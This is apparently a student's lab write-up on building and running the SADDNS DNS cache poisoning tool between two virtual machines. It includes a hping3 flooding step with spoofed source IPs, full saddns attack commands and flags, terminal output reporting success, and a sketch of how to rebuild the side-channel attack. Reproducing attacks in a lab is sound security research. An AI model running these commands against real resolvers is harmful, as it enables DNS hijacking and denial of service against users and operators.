

SADDNS build

Shenghan Zheng
zhengshh_prime@berkeley.edu

July 2022

1 Address

github repo:<https://github.com/seclab-ucr/SADDNS/tree/master/saddnsgo>

1.1 Settings

1. environment setting

ubuntu 16.0.4 (ubuntu 18.10 is also OK)

go version 1.18.3

2 virtual machines. One as resolver(192.168.0.212) and the other as name server(192.168.0.120). Setting up configuration for 2 machines. Run dig A google.com @192.168.0.212 on NS. Got the following. Connection succeed. (For configuration, you may follow <https://www.linuxbabe.com/ubuntu/set-up-local-dns-resolver-ubuntu-18-04-16-04-bind9>) For name server, I use <https://www.youtube.com/watch?v=DuVNclBfykw>

2. go mod setting

The github repo is intended for exploit of resolver only. It for has the directory src/ucr.edu/saddns. It indicates that the file should be put in /go/src. The newest go version doesn't have this folder, thus, create one. The whole github repo is based on old version of go which doesn't. The package ucr.edu/saddns is a package self-named package, thus can't use command go get to install. After putting the file in src directory, run go install to create executable in bin. Use go mod init command to create the module named ucr.edu/saddns. Then use go mod tidy to set dependency. .bin and .sh files should be put in the same folder to allow the script to grap data in need.

1. compile

run go build ucr.edu/saddns

2. flooding

cd dnsquery.sh to check out demonstration The command provided in github (./dnsquery.sh) is actually different from the real command here

bash ./dnsquery.sh [NS IP] [Resolver IP(spoofed as source IP)] space-separated-domain...(e.g. www.google.com)

The bash script will first clear previous files (dnsmid.bin and txid.bin).

Then it will write the domain name into the dnsmid.bin and set a random TxID in exid.bin. Next, it will forge a entire DNS query packet and write into dns.bin. Last it will use hping3 to do the Dos.

```
shenghz@shenghz-VirtualBox: ~/go/src
status=0 port=1817 seq=354
ICMP Port Unreachable from ip=10.0.2.15 name=UNKNOWN
status=0 port=1837 seq=374
ICMP Port Unreachable from ip=10.0.2.15 name=UNKNOWN
status=0 port=1857 seq=394
ICMP Port Unreachable from ip=10.0.2.15 name=UNKNOWN
status=0 port=1876 seq=413
ICMP Port Unreachable from ip=10.0.2.15 name=UNKNOWN
status=0 port=1896 seq=433
ICMP Port Unreachable from ip=10.0.2.15 name=UNKNOWN
status=0 port=1916 seq=453
ICMP Port Unreachable from ip=10.0.2.15 name=UNKNOWN
status=0 port=1935 seq=472
ICMP Port Unreachable from ip=10.0.2.15 name=UNKNOWN
status=0 port=1955 seq=492
ICMP Port Unreachable from ip=10.0.2.15 name=UNKNOWN
status=0 port=1975 seq=512
ICMP Port Unreachable from ip=10.0.2.15 name=UNKNOWN
status=0 port=1994 seq=531
^C
--- 10.0.2.15 hping statistic ---
543 packets transmitted, 33 packets received, 94% packet loss
round-trip min/avg/max = 0.2/3.2/19.3 ms
shenghz@shenghz-VirtualBox:~/go/src$
```

3. attacking

run `./saddns -h` for help of flags. saddns executable will be created after you succeed in the second step. It will appear in directory
check out connection

```
sheng@sheng-VirtualBox: ~
sheng@sheng-VirtualBox:~$ sudo systemctl restart bind9
[sudo] password for sheng:
sheng@sheng-VirtualBox:~$ dig @127.0.0.1 example.com

; <<>> DiG 9.10.3-P4-Ubuntu <<>> @127.0.0.1 example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->HEADER<- opcode: QUERY, status: NOERROR, id: 43029
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;example.com.                IN      A

;; ANSWER SECTION:
example.com.                 86400   IN      A      93.184.216.34

;; Query time: 1716 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Thu Jul 07 10:49:09 PDT 2022
;; MSG SIZE rcvd: 56
```

```

sheng@sheng-VirtualBox: ~
Jul 07 09:10:51 sheng-VirtualBox named[5515]: automatic empty zone: 1.0.0.0.0.0.
Jul 07 09:10:51 sheng-VirtualBox named[5515]: automatic empty zone: D.F.IP6.ARPA
Jul 07 09:10:51 sheng-VirtualBox named[5515]: automatic empty zone: 8.E.F.IP6.AR
Jul 07 09:10:51 sheng-VirtualBox named[5515]: automatic empty zone: 9.E.F.IP6.AR
Jul 07 09:10:51 sheng-VirtualBox named[5515]: automatic empty zone: A.E.F.IP6.AR
Jul 07 09:10:51 sheng-VirtualBox named[5515]: automatic empty zone: B.E.F.IP6.AR
Jul 07 09:10:51 sheng-VirtualBox named[5515]: automatic empty zone: 8.B.D.0.1.0.
Jul 07 09:10:51 sheng-VirtualBox named[5515]: automatic empty zone: EMPTY.AS112.
Jul 07 09:10:51 sheng-VirtualBox named[5515]: configuring command channel from '
Jul 07 09:10:51 sheng-VirtualBox named[5515]: command channel listening on 127.0
Jul 07 09:10:51 sheng-VirtualBox named[5515]: configuring command channel from '
Jul 07 09:10:51 sheng-VirtualBox named[5515]: command channel listening on ::1#9
Jul 07 09:10:51 sheng-VirtualBox named[5515]: managed-keys-zone: journal file is
Jul 07 09:10:51 sheng-VirtualBox named[5515]: managed-keys-zone: loaded serial 2
Jul 07 09:10:51 sheng-VirtualBox named[5515]: zone 0.in-addr.arpa/IN: loaded ser
Jul 07 09:10:51 sheng-VirtualBox named[5515]: zone 127.in-addr.arpa/IN: loaded s
Jul 07 09:10:51 sheng-VirtualBox named[5515]: zone 255.in-addr.arpa/IN: loaded s
Jul 07 09:10:51 sheng-VirtualBox named[5515]: zone localhost/IN: loaded serial 2
Jul 07 09:10:51 sheng-VirtualBox named[5515]: all zones loaded
Jul 07 09:10:51 sheng-VirtualBox named[5515]: running
Jul 07 09:10:51 sheng-VirtualBox named[5515]: managed-keys-zone: Key 20326 for z
Jul 07 09:11:43 sheng-VirtualBox named[5515]: client 192.168.0.212#38450 (google
Jul 07 09:16:48 sheng-VirtualBox named[5515]: client 192.168.0.120#34274 (google
lines 286-308/308 (END)

```

start bind9 and view the cache for example.com in resolver

```

sheng@sheng-VirtualBox: ~
sheng@sheng-VirtualBox:~$ sudo systemctl restart bind9
[sudo] password for sheng:
sheng@sheng-VirtualBox:~$ dig @127.0.0.1 example.com

; <<>> DiG 9.10.3-P4-Ubuntu <<>> @127.0.0.1 example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 43029
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
;; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;example.com.                IN      A

;; ANSWER SECTION:
example.com.                 86400   IN      A      93.184.216.34

;; Query time: 1716 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Thu Jul 07 10:49:09 PDT 2022
;; MSG SIZE rcvd: 56

```

The IP of attacker-controlled name server

```
shenghz@shenghz-VirtualBox: /etc/bind
* Reloading domain name service... bind9 [ OK ]
shenghz@shenghz-VirtualBox: /etc/bind$ tail /var/log/syslog
Jul 7 10:47:03 shenghz-VirtualBox named[11214]: automatic empty zone: EMPTY.AS1
12.ARPA
Jul 7 10:47:03 shenghz-VirtualBox named[11214]: configuring command channel fro
m '/etc/bind/rndc.key'
Jul 7 10:47:03 shenghz-VirtualBox named[11214]: the working directory is not wr
itable
Jul 7 10:47:03 shenghz-VirtualBox named[11214]: reloading configuration succeed
ed
Jul 7 10:47:03 shenghz-VirtualBox named[11214]: managed-keys.bind.jnl: create:
permission denied
Jul 7 10:47:03 shenghz-VirtualBox named[11214]: managed-keys-zone: sync_keyzone
: dns_journal_open -> unexpected error
Jul 7 10:47:03 shenghz-VirtualBox named[11214]: managed-keys-zone: unable to sy
nchronize managed keys: unexpected error
Jul 7 10:47:03 shenghz-VirtualBox named[11214]: reloading zones succeeded
Jul 7 10:47:03 shenghz-VirtualBox named[11214]: all zones loaded
Jul 7 10:47:03 shenghz-VirtualBox named[11214]: running
shenghz@shenghz-VirtualBox: /etc/bind$ host example.com
example.com has address 93.184.216.34
example.com has IPv6 address 2606:2800:220:1:248:1893:25c8:1946
example.com mail is handled by 0
shenghz@shenghz-VirtualBox: /etc/bind$
```

start running attack script

```
Timeout in ms for outgoing dns queries to the victim resolver. Should be
aligned with the resolver's timeout (e.g., BIND is 10000ms by default). (default
t 4000)
-tg uint
Time gap is us(microseconds) between the TxID brute force packets.
shenghz@shenghz-VirtualBox:~/go/src/ucr.edu/saddns$ sudo ./saddns -a "93.184.216
.34" -ad "192.168.0.120" -b "192.168.0.212" -d -i "enp0s3" -n "example.com" -r "
192.168.0.212" -soa "ns.icann.org" -tg 2000
/****Please make sure to fill every argument carefully and correct. Otherwise the
program will crash.****/
Mac: 08:00:27:2d:03:23
use IP 192.168.0.120
Send new DNS request 3352119595891283841.example.com 11806
Success!!
shenghz@shenghz-VirtualBox:~/go/src/ucr.edu/saddns$
```

poisoned cache record in resolver

```
Timeout in ms for outgoing dns queries to the victim resolver. Should be
aligned with the resolver's timeout (e.g., BIND is 10000ms by default). (default
t 4000)
-tg uint
Time gap is us(microseconds) between the TxID brute force packets.
shenghz@shenghz-VirtualBox:~/go/src/ucr.edu/saddns$ sudo ./saddns -a "93.184.216
.34" -ad "192.168.0.120" -b "192.168.0.212" -d -i "enp0s3" -n "example.com" -r "
192.168.0.212" -soa "ns.icann.org" -tg 2000
/****Please make sure to fill every argument carefully and correct. Otherwise the
program will crash.****/
Mac: 08:00:27:2d:03:23
use IP 192.168.0.120
Send new DNS request 3352119595891283841.example.com 11806
Success!!
shenghz@shenghz-VirtualBox:~/go/src/ucr.edu/saddns$
```

2 command line

resolver

1. sudo systemctl restart bind9
2. sudo journalctl -eu bind9

name server

1. dig A google.com @192.168.0.212

```
check connection in resolver terminal
resolver
3. dig example.com
name server
2. go build ucr.edu/saddns
3. sudo ./saddns -a ".com" -ad "example.com" -b "192.168.0.212" -d -i "enp0s3"
-r "192.168.0.212" -soa "ns.icann.org" -tg 200
resolver
4. dig @192.168.120 example.com
```

3 Feedback

Normally, we need 2 virtual machines using bridged network. One serves as victim, the other serves as attacker. NS is ubuntu server but it can be neglected and treated as dead because we need to set it as unresponsive or using IP spoofing to Dos anyway. We also need a domain name used as cache in NS record. In this case, we probably need an auxiliary server to do that job. When the process can ran smoothly, we need to do packet capture otherwise we can't have insight. We will need to do it on different OS because lo doesn't have rate limit.

A more easy way to rebuild this. Have 2 virtual machines. Use scrapy to write a side-channel based port scan script. We do sniffers in one machine and do port scan on another. If the port scan works, then we do cache poisoning like trigger a request and inject package.(haven't figure out how to make the last part work though but should be something like a script running between virtual machine and real machine and reply with wrong response for each query. Combined both steps, it's SADDNS)